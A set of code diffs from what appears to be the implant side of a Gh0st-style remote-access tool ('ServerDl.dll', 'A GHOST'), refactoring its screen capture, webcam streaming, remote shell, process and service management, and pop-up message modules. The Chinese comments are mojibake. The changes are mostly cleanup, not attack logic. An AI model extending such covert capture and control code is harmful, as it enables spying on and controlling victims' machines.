CScreenSpy* m_ScreenSpyObject; CScreenSpy* m_ScreenSpyObject;

View File

@@ -103,19 +103,6 @@ CScreenSpy::~CScreenSpy()
m_RectBufferOffset = 0; m_RectBufferOffset = 0;
} }
ULONG CScreenSpy::GetBISize()
{
ULONG ColorNum = m_ulbiBitCount <= 8 ? 1 << m_ulbiBitCount : 0;
return sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD));
}
LPBITMAPINFO CScreenSpy::GetBIData()
{
return m_BitmapInfor_Full;
}
LPBITMAPINFO CScreenSpy::ConstructBI(ULONG ulbiBitCount, LPBITMAPINFO CScreenSpy::ConstructBI(ULONG ulbiBitCount,
ULONG ulFullWidth, ULONG ulFullHeight) ULONG ulFullWidth, ULONG ulFullHeight)
{ {
@@ -152,19 +139,9 @@ LPVOID CScreenSpy::GetFirstScreenData()
return m_BitmapData_Full; //<2F>ڴ<EFBFBD> return m_BitmapData_Full; //<2F>ڴ<EFBFBD>
} }
// <20>㷨+<2B><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ULONG CScreenSpy::GetFirstScreenLength()
{
return m_BitmapInfor_Full->bmiHeader.biSizeImage;
}
LPVOID CScreenSpy::GetNextScreenData(ULONG* ulNextSendLength) LPVOID CScreenSpy::GetNextScreenData(ULONG* ulNextSendLength)
{ {
if (m_RectBuffer == NULL)
{
return NULL;
}
// <20><><EFBFBD><EFBFBD>rect<63><74><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8> // <20><><EFBFBD><EFBFBD>rect<63><74><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>
m_RectBufferOffset = 0; m_RectBufferOffset = 0;
@@ -174,10 +151,12 @@ LPVOID CScreenSpy::GetNextScreenData(ULONG* ulNextSendLength)
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB> // д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
POINT CursorPos; POINT CursorPos;
GetCursorPos(&CursorPos); GetCursorPos(&CursorPos);
CursorPos.x /= m_wZoom;
CursorPos.y /= m_hZoom;
WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT)); WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT));
// д<>뵱ǰ<EBB5B1><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // д<>뵱ǰ<EBB5B1><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BYTE bCursorIndex = m_CursorInfor.GetCurrentCursorIndex(); BYTE bCursorIndex = m_CursorInfor.getCurrentCursorIndex();
WriteRectBuffer(&bCursorIndex, sizeof(BYTE)); WriteRectBuffer(&bCursorIndex, sizeof(BYTE));
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƚ<EFBFBD><C8BD> // <20><><EFBFBD><EFBFBD><EFBFBD>Ƚ<EFBFBD><C8BD>
@@ -199,17 +178,10 @@ LPVOID CScreenSpy::GetNextScreenData(ULONG* ulNextSendLength)
} }
VOID CScreenSpy::WriteRectBuffer(LPBYTE szBuffer,ULONG ulLength)
{
memcpy(m_RectBuffer + m_RectBufferOffset, szBuffer, ulLength);
m_RectBufferOffset += ulLength;
}
VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight) VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight)
{ {
AUTO_TICK(1); AUTO_TICK(70);
#ifdef COPY_ALL #if COPY_ALL
BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, 0, 0, m_dwBitBltRop); BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, 0, 0, m_dwBitBltRop);
#else #else
const ULONG ulJumpLine = 50; const ULONG ulJumpLine = 50;
@@ -233,7 +205,7 @@ VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHei
ULONG CScreenSpy::CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, ULONG CScreenSpy::CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData,
LPBYTE szBuffer, DWORD ulCompareLength) LPBYTE szBuffer, DWORD ulCompareLength)
{ {
AUTO_TICK(1); AUTO_TICK(20);
// Windows<77>һ<E6B6A8><D2BB>ɨ<EFBFBD><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD><D5BC><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>4<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DWORD<52>Ƚ<EFBFBD> // Windows<77>һ<E6B6A8><D2BB>ɨ<EFBFBD><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD><D5BC><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>4<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DWORD<52>Ƚ<EFBFBD>
LPDWORD p1 = (LPDWORD)CompareDestData, p2 = (LPDWORD)CompareSourData; LPDWORD p1 = (LPDWORD)CompareDestData, p2 = (LPDWORD)CompareSourData;
// ƫ<>Ƶ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD>ȵ<EFBFBD>ƫ<EFBFBD><C6AB> // ƫ<>Ƶ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD>ȵ<EFBFBD>ƫ<EFBFBD><C6AB>

View File

@@ -10,7 +10,7 @@
#endif // _MSC_VER > 1000 #endif // _MSC_VER > 1000
#define ALGORITHM_DIFF 1 #define ALGORITHM_DIFF 1
#define COPY_ALL 1 // <20><><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>ֿ鿽<D6BF><E9BFBD><EFBFBD><EFBFBD>added by yuanyuanxiang 2019-1-7<><37> #define COPY_ALL 1 // <20><><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>ֿ鿽<D6BF><E9BFBD><EFBFBD><EFBFBD>added by yuanyuanxiang 2019-1-7<><37>
#include "CursorInfor.h" #include "CursorInfo.h"
class CScreenSpy class CScreenSpy
@@ -18,8 +18,19 @@ class CScreenSpy
public: public:
CScreenSpy(ULONG ulbiBitCount); CScreenSpy(ULONG ulbiBitCount);
virtual ~CScreenSpy(); virtual ~CScreenSpy();
ULONG GetBISize();
LPBITMAPINFO GetBIData(); ULONG GetBISize() const
{
ULONG ColorNum = m_ulbiBitCount <= 8 ? 1 << m_ulbiBitCount : 0;
return sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD));
}
const LPBITMAPINFO& GetBIData() const
{
return m_BitmapInfor_Full;
}
ULONG m_ulbiBitCount; ULONG m_ulbiBitCount;
LPBITMAPINFO m_BitmapInfor_Full; LPBITMAPINFO m_BitmapInfor_Full;
ULONG m_ulFullWidth, m_ulFullHeight; //<2F><>Ļ<EFBFBD>ķֱ<C4B7><D6B1><EFBFBD> ULONG m_ulFullWidth, m_ulFullHeight; //<2F><>Ļ<EFBFBD>ķֱ<C4B7><D6B1><EFBFBD>
@@ -33,13 +44,24 @@ public:
PVOID m_BitmapData_Full; PVOID m_BitmapData_Full;
DWORD m_dwBitBltRop; DWORD m_dwBitBltRop;
LPVOID GetFirstScreenData(); LPVOID GetFirstScreenData();
ULONG GetFirstScreenLength();
ULONG GetFirstScreenLength() const
{
return m_BitmapInfor_Full->bmiHeader.biSizeImage;
}
LPVOID GetNextScreenData(ULONG* ulNextSendLength); LPVOID GetNextScreenData(ULONG* ulNextSendLength);
BYTE* m_RectBuffer; BYTE* m_RectBuffer;
ULONG m_RectBufferOffset; ULONG m_RectBufferOffset;
BYTE m_bAlgorithm; BYTE m_bAlgorithm;
VOID WriteRectBuffer(LPBYTE szBuffer,ULONG ulLength);
CCursorInfor m_CursorInfor; FORCEINLINE VOID WriteRectBuffer(LPBYTE szBuffer,ULONG ulLength)
{
memcpy(m_RectBuffer + m_RectBufferOffset, szBuffer, ulLength);
m_RectBufferOffset += ulLength;
}
CCursorInfo m_CursorInfor;
HDC m_hDiffMemDC; HDC m_hDiffMemDC;
HBITMAP m_DiffBitmapHandle; HBITMAP m_DiffBitmapHandle;
PVOID m_DiffBitmapData_Full; PVOID m_DiffBitmapData_Full;

View File

@@ -25,11 +25,11 @@ LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
// //
IDD_DIALOG DIALOGEX 0, 0, 180, 108 IDD_DIALOG DIALOGEX 0, 0, 180, 108
STYLE DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU STYLE DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION "<22><>Ϣ<EFBFBD><CFA2>ʾ" CAPTION "<22><>Ϣ<EFBFBD><CFA2>ʾ"
FONT 10, "System", 0, 0, 0x0 FONT 10, "System", 0, 0, 0x0
BEGIN BEGIN
EDITTEXT IDC_EDIT_MESSAGE,0,0,180,82,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | NOT WS_BORDER LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95
END END
@@ -43,7 +43,6 @@ GUIDELINES DESIGNINFO
BEGIN BEGIN
IDD_DIALOG, DIALOG IDD_DIALOG, DIALOG
BEGIN BEGIN
BOTTOMMARGIN, 101
END END
END END
#endif // APSTUDIO_INVOKED #endif // APSTUDIO_INVOKED
@@ -88,7 +87,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
// //
VS_VERSION_INFO VERSIONINFO VS_VERSION_INFO VERSIONINFO
FILEVERSION 1,0,0,1 FILEVERSION 1,0,0,3
PRODUCTVERSION 1,0,0,1 PRODUCTVERSION 1,0,0,1
FILEFLAGSMASK 0x3fL FILEFLAGSMASK 0x3fL
#ifdef _DEBUG #ifdef _DEBUG
@@ -106,7 +105,7 @@ BEGIN
BEGIN BEGIN
VALUE "CompanyName", "FUCK THE UNIVERSE" VALUE "CompanyName", "FUCK THE UNIVERSE"
VALUE "FileDescription", "A GHOST" VALUE "FileDescription", "A GHOST"
VALUE "FileVersion", "1.0.0.1" VALUE "FileVersion", "1.0.0.3"
VALUE "InternalName", "ServerDl.dll" VALUE "InternalName", "ServerDl.dll"
VALUE "LegalCopyright", "Copyright (C) 2019-2025" VALUE "LegalCopyright", "Copyright (C) 2019-2025"
VALUE "OriginalFilename", "ServerDl.dll" VALUE "OriginalFilename", "ServerDl.dll"
@@ -120,6 +119,16 @@ BEGIN
END END
END END
/////////////////////////////////////////////////////////////////////////////
//
// Icon
//
// Icon with lowest ID value placed first to ensure application icon
// remains consistent on all systems.
IDI_ICON_MAIN ICON "Res\\ghost.ico"
IDI_ICON_MSG ICON "Res\\msg.ico"
#endif // <20><><EFBFBD><EFBFBD>(<28><><EFBFBD><EFBFBD>й<EFBFBD>) resources #endif // <20><><EFBFBD><EFBFBD>(<28><><EFBFBD><EFBFBD>й<EFBFBD>) resources
///////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////

View File

@@ -68,7 +68,7 @@ LPBYTE CServicesManager::GetServicesList()
szBuffer[0] = TOKEN_SERVERLIST; szBuffer[0] = TOKEN_SERVERLIST;
dwOffset = 1; dwOffset = 1;
for (unsigned long i = 0; i < dwServicesCount; i++) // Display The Services,<2C><>ʾ<EFBFBD><CABE><EFBFBD>еķ<D0B5><C4B7><EFBFBD> for (unsigned long i = 0; i < dwServicesCount; ++i) // Display The Services,<2C><>ʾ<EFBFBD><CABE><EFBFBD>еķ<D0B5><C4B7><EFBFBD>
{ {
SC_HANDLE hServices = NULL; SC_HANDLE hServices = NULL;
DWORD nResumeHandle = 0; DWORD nResumeHandle = 0;

View File

@@ -16,10 +16,10 @@ class CServicesManager : public CManager
public: public:
CServicesManager(IOCPClient* ClientObject, int n); CServicesManager(IOCPClient* ClientObject, int n);
virtual ~CServicesManager(); virtual ~CServicesManager();
VOID CServicesManager::SendServicesList(); VOID SendServicesList();
LPBYTE CServicesManager::GetServicesList(); LPBYTE GetServicesList();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength); VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
void CServicesManager::ServicesConfig(PBYTE szBuffer, ULONG ulLength); void ServicesConfig(PBYTE szBuffer, ULONG ulLength);
SC_HANDLE m_hscManager; SC_HANDLE m_hscManager;
}; };

View File

@@ -25,7 +25,7 @@ public:
virtual ~CShellManager(); virtual ~CShellManager();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength); VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
static DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam); static DWORD WINAPI ReadPipeThread(LPVOID lParam);
HANDLE m_hThreadRead; HANDLE m_hThreadRead;
int m_nCmdLength; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB3A4> int m_nCmdLength; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB3A4>

View File

@@ -6,6 +6,14 @@
#if !defined(AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_) #if !defined(AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_)
#define AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_ #define AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_
// <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>ZLIB
#define USING_ZLIB 1
#if !USING_ZLIB
// <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>LZ4
#define USING_LZ4 1
#endif
#if _MSC_VER > 1000 #if _MSC_VER > 1000
#pragma once #pragma once
#endif // _MSC_VER > 1000 #endif // _MSC_VER > 1000
@@ -61,7 +69,7 @@ public:
#ifdef _DEBUG #ifdef _DEBUG
// <20><><EFBFBD>ܼ<EFBFBD><DCBC>㵱ǰ<E3B5B1><C7B0><EFBFBD><EFBFBD><EFBFBD>ĺ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ӡ // <20><><EFBFBD>ܼ<EFBFBD><DCBC>㵱ǰ<E3B5B1><C7B0><EFBFBD><EFBFBD><EFBFBD>ĺ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ӡ
#define AUTO_TICK(thresh) auto_tick(__FUNCTION__, thresh) #define AUTO_TICK(thresh) auto_tick TICK(__FUNCTION__, thresh)
#else #else
#define AUTO_TICK(thresh) #define AUTO_TICK(thresh)
#endif #endif

View File

@@ -17,15 +17,15 @@ class CSystemManager : public CManager
public: public:
CSystemManager(IOCPClient* ClientObject,BOOL bHow); CSystemManager(IOCPClient* ClientObject,BOOL bHow);
virtual ~CSystemManager(); virtual ~CSystemManager();
LPBYTE CSystemManager::GetProcessList(); LPBYTE GetProcessList();
VOID CSystemManager::SendProcessList(); VOID SendProcessList();
BOOL CSystemManager::DebugPrivilege(const char *szName, BOOL bEnable); BOOL DebugPrivilege(const char *szName, BOOL bEnable);
VOID OnReceive(PBYTE szBuffer, ULONG ulLength); VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
VOID CSystemManager::KillProcess(LPBYTE szBuffer, UINT ulLength); VOID KillProcess(LPBYTE szBuffer, UINT ulLength);
LPBYTE CSystemManager::GetWindowsList(); LPBYTE GetWindowsList();
static BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam); static BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam);
void CSystemManager::SendWindowsList(); void SendWindowsList();
void CSystemManager::TestWindow(LPBYTE szBuffer); void TestWindow(LPBYTE szBuffer);
}; };
#endif // !defined(AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_) #endif // !defined(AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_)

View File

@@ -15,8 +15,8 @@ using namespace std;
#define ID_TIMER_DELAY_DISPLAY 2 #define ID_TIMER_DELAY_DISPLAY 2
#define ID_TIMER_CLOSE_WINDOW 3 #define ID_TIMER_CLOSE_WINDOW 3
#define WIN_WIDTH 250 #define WIN_WIDTH 360
#define WIN_HEIGHT 250 #define WIN_HEIGHT 200
////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////
// Construction/Destruction // Construction/Destruction
////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////
@@ -54,7 +54,6 @@ VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{ {
memcpy(g_Buffer, szBuffer, ulLength); memcpy(g_Buffer, szBuffer, ulLength);
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>DLG //<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>DLG
DialogBox(g_hInstance,MAKEINTRESOURCE(IDD_DIALOG), DialogBox(g_hInstance,MAKEINTRESOURCE(IDD_DIALOG),
NULL,DialogProc); //SDK C MFC C++ NULL,DialogProc); //SDK C MFC C++
break; break;
@@ -87,8 +86,13 @@ VOID CTalkManager::OnInitDialog(HWND hDlg)
{ {
MoveWindow(hDlg, 0, 0, 0, 0, TRUE); MoveWindow(hDlg, 0, 0, 0, 0, TRUE);
static HICON hIcon = LoadIcon(NULL, MAKEINTRESOURCE(IDI_ICON_MSG));
::SendMessage(hDlg, WM_SETICON, (WPARAM)hIcon, (LPARAM)hIcon);
SetDlgItemText(hDlg,IDC_EDIT_MESSAGE,g_Buffer); SetDlgItemText(hDlg,IDC_EDIT_MESSAGE,g_Buffer);
::SetFocus(GetDesktopWindow());
memset(g_Buffer,0,sizeof(g_Buffer)); memset(g_Buffer,0,sizeof(g_Buffer));
g_Event = ID_TIMER_POP_WINDOW; g_Event = ID_TIMER_POP_WINDOW;

View File

@@ -59,6 +59,7 @@
<IntrinsicFunctions>true</IntrinsicFunctions> <IntrinsicFunctions>true</IntrinsicFunctions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary> <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<MultiProcessorCompilation>true</MultiProcessorCompilation> <MultiProcessorCompilation>true</MultiProcessorCompilation>
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile> </ClCompile>
<Link> <Link>
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>true</GenerateDebugInformation>

View File

@@ -1,10 +1,10 @@
<?xml version="1.0" encoding="utf-8"?> <?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<RemoteDebuggerCommand>C:\Users\win7\Desktop\Remoter\TestRun.exe</RemoteDebuggerCommand> <RemoteDebuggerCommand>C:\VM\Remoter\TestRun.exe</RemoteDebuggerCommand>
<RemoteDebuggerWorkingDirectory>C:\Users\win7\Desktop\Remoter</RemoteDebuggerWorkingDirectory> <RemoteDebuggerWorkingDirectory>C:\VM\Remoter</RemoteDebuggerWorkingDirectory>
<RemoteDebuggerServerName>192.168.43.2</RemoteDebuggerServerName> <RemoteDebuggerServerName>192.168.43.2</RemoteDebuggerServerName>
<DeploymentDirectory>C:\Users\win7\Desktop\Remoter</DeploymentDirectory> <DeploymentDirectory>C:\VM\Remoter</DeploymentDirectory>
<AdditionalFiles>$(TargetDir)\TestRun.pdb;$(TargetDir)\ServerDll.dll;$(TargetDir)\ServerDll.pdb</AdditionalFiles> <AdditionalFiles>$(TargetDir)\TestRun.pdb;$(TargetDir)\ServerDll.dll;$(TargetDir)\ServerDll.pdb</AdditionalFiles>
<RemoteDebuggerDeployDebugCppRuntime>false</RemoteDebuggerDeployDebugCppRuntime> <RemoteDebuggerDeployDebugCppRuntime>false</RemoteDebuggerDeployDebugCppRuntime>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor> <DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>

View File

@@ -20,6 +20,7 @@ CVideoManager::CVideoManager(IOCPClient* ClientObject, int n) : CManager(ClientO
m_fccHandler = 1129730893; m_fccHandler = 1129730893;
m_CapVideo.Open(0,0); // <20><><EFBFBD><EFBFBD> m_CapVideo.Open(0,0); // <20><><EFBFBD><EFBFBD>
lpBuffer = NULL;
m_hWorkThread = CreateThread(NULL, 0, m_hWorkThread = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL); (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL);
@@ -34,22 +35,35 @@ DWORD CVideoManager::WorkThread(LPVOID lParam)
if (This->Initialize()) //ת<><D7AA>Initialize if (This->Initialize()) //ת<><D7AA>Initialize
{ {
This->m_bIsCompress=true; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><C3BF><EFBFBD>ѹ<EFBFBD><D1B9> This->m_bIsCompress=true; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><C3BF><EFBFBD>ѹ<EFBFBD><D1B9>
printf("ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>.\n");
} }
This->SendBitMapInfor(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB> This->SendBitMapInfor(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB>
// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
This->WaitForDialogOpen(); This->WaitForDialogOpen();
#if USING_ZLIB
const int fps = 8;// ֡<><D6A1>
#elif USING_LZ4
const int fps = 8;// ֡<><D6A1>
#else
const int fps = 8;// ֡<><D6A1>
#endif
const int sleep = 1000 / fps;// <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>䣨ms<6D><73>
timeBeginPeriod(1);
while (This->m_bIsWorking) while (This->m_bIsWorking)
{ {
// <20><><EFBFBD><EFBFBD><EFBFBD>ٶ<EFBFBD> // <20><><EFBFBD><EFBFBD><EFBFBD>ٶ<EFBFBD>
if ((GetTickCount() - dwLastScreen) < 150) int span = sleep-(GetTickCount() - dwLastScreen);
Sleep(100); Sleep(span > 0 ? span : 1);
if (span < 0)
printf("SendScreen Span = %d ms\n", span);
dwLastScreen = GetTickCount(); dwLastScreen = GetTickCount();
This->SendNextScreen(); //<2F><><EFBFBD><EFBFBD>û<EFBFBD><C3BB>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD>صĴ<D8B5><C4B4><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD>ǵ<EFBFBD>sendNextScreen <20><><EFBFBD><EFBFBD> if(FALSE == This->SendNextScreen())
break;
} }
timeEndPeriod(1);
This->Destroy(); This->Destroy();
std::cout<<"CVideoManager WorkThread end\n"; std::cout<<"CVideoManager WorkThread end\n";
@@ -60,7 +74,7 @@ DWORD CVideoManager::WorkThread(LPVOID lParam)
CVideoManager::~CVideoManager() CVideoManager::~CVideoManager()
{ {
InterlockedExchange((LPLONG)&m_bIsWorking, FALSE); InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
m_CapVideo.m_bExit = TRUE;
WaitForSingleObject(m_hWorkThread, INFINITE); WaitForSingleObject(m_hWorkThread, INFINITE);
CloseHandle(m_hWorkThread); CloseHandle(m_hWorkThread);
std::cout<<"CVideoManager ~CVideoManager \n"; std::cout<<"CVideoManager ~CVideoManager \n";
@@ -69,10 +83,13 @@ CVideoManager::~CVideoManager()
delete m_pVideoCodec; delete m_pVideoCodec;
m_pVideoCodec = NULL; m_pVideoCodec = NULL;
} }
if (lpBuffer)
delete [] lpBuffer;
} }
void CVideoManager::Destroy() void CVideoManager::Destroy()
{ {
m_bIsWorking = FALSE;
std::cout<<"CVideoManager Destroy \n"; std::cout<<"CVideoManager Destroy \n";
if (m_pVideoCodec) //ѹ<><D1B9><EFBFBD><EFBFBD> if (m_pVideoCodec) //ѹ<><D1B9><EFBFBD><EFBFBD>
{ {
@@ -83,26 +100,25 @@ void CVideoManager::Destroy()
void CVideoManager::SendBitMapInfor() void CVideoManager::SendBitMapInfor()
{ {
DWORD dwBytesLength = 1 + sizeof(BITMAPINFO); const int dwBytesLength = 1 + sizeof(BITMAPINFO);
LPBYTE szBuffer = new BYTE[dwBytesLength]; BYTE szBuffer[dwBytesLength + 3] = { 0 };
if (szBuffer == NULL) szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;
return;
szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO; //+ ͷ
memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO)); memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO));
m_ClientObject->OnServerSending((char*)szBuffer, dwBytesLength); m_ClientObject->OnServerSending((char*)szBuffer, dwBytesLength);
delete [] szBuffer;
} }
void CVideoManager::SendNextScreen() BOOL CVideoManager::SendNextScreen()
{ {
DWORD dwBmpImageSize=0; DWORD dwBmpImageSize=0;
LPVOID lpDIB =m_CapVideo.GetDIB(dwBmpImageSize); //m_pVideoCap->GetDIB(); LPVOID lpDIB =m_CapVideo.GetDIB(dwBmpImageSize);
// token + IsCompress + m_fccHandler + DIB if(lpDIB == NULL)
int nHeadLen = 1 + 1 + 4; return FALSE;
UINT nBufferLen = nHeadLen + dwBmpImageSize;//m_pVideoCap->m_lpbmi->bmiHeader.biSizeImage; // token + IsCompress + m_fccHandler + DIB
LPBYTE lpBuffer = new BYTE[nBufferLen]; const int nHeadLen = 1 + 1 + 4;
UINT nBufferLen = nHeadLen + dwBmpImageSize;
lpBuffer = lpBuffer ? lpBuffer : new BYTE[nBufferLen];
lpBuffer[0] = TOKEN_WEBCAM_DIB; lpBuffer[0] = TOKEN_WEBCAM_DIB;
lpBuffer[1] = m_bIsCompress; //ѹ<><D1B9> lpBuffer[1] = m_bIsCompress; //ѹ<><D1B9>
@@ -120,8 +136,7 @@ void CVideoManager::SendNextScreen()
if (!nCompressLen) if (!nCompressLen)
{ {
// some thing error // some thing error
delete [] lpBuffer; return FALSE;
return;
} }
//<2F><><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><E3B7A2><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0>Ĵ<EFBFBD>С ʣ<>¾<EFBFBD><C2BE>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD>ض˿<D8B6>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD> //<2F><><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><E3B7A2><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0>Ĵ<EFBFBD>С ʣ<>¾<EFBFBD><C2BE>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD>ض˿<D8B6>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD>
//<2F><><EFBFBD><EFBFBD><EFBFBD>ض˵<D8B6>void CVideoDlg::OnReceiveComplete(void) //<2F><><EFBFBD><EFBFBD><EFBFBD>ض˵<D8B6>void CVideoDlg::OnReceiveComplete(void)
